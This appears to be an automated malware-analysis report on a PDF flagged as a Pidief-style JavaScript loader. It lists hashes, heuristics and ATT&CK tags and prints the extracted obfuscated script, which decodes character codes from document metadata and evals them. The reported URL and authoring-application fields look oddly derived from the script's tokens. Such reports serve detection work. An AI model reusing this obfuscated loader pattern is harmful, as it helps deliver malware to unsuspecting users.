Malicious PDF — malware analysis report

Static analysis result for SHA-256 00d0576a0258a4c0…

MALICIOUS

PDF

44.7 KB Authoring application: substr First seen: 2026-05-07
MD5: 03c6c8078fcc4e9acf7d5c86ac4f6b81 SHA-1: 75b64a2040c9cc1612d25a484abe474ec5591090 SHA-256: 00d0576a0258a4c0e4d6dc2a0c3c7b8f369ddc284599332a6649e5c4b2465bd1
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF document contains obfuscated JavaScript, identified by multiple heuristics as a loader. This script reconstructs a URL from character codes and uses it to download and execute a second-stage payload. The reconstructed URL is 'https://substr.split.test'. The ML classifier strongly indicates maliciousness.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB072 399 bytes
SHA-256: d88207c69a7868428020262b3beaab814258150317fb49736abf804a08f8d376
Preview script
First 1,000 lines of the extracted script
xbbe='';
v=producer;
qwe = v[v];
t='le';
b='v';
a=["e","a","n","b","w",b,"o"];
s=a[0]+b+a[1]+t[0];
e=(t,qwe)()[s];
mmf=e('tit'+t);
q=mmf[v](a.length-6,a.length+2);
isvlz=e(v[0].toUpperCase()+v[4]+'ring.fr'+a[6]+q);
q=mmf[v](t.length+12)[e(v[0]+'ubject')]('c');
k=q.length;
i=0;
while(i!=k){
	ylpr = 1*(q[i]) - (-1)*(q[i+t.length+(-1)]);
	xbbe += isvlz(ylpr);
	i+=2;
}
e(xbbe);

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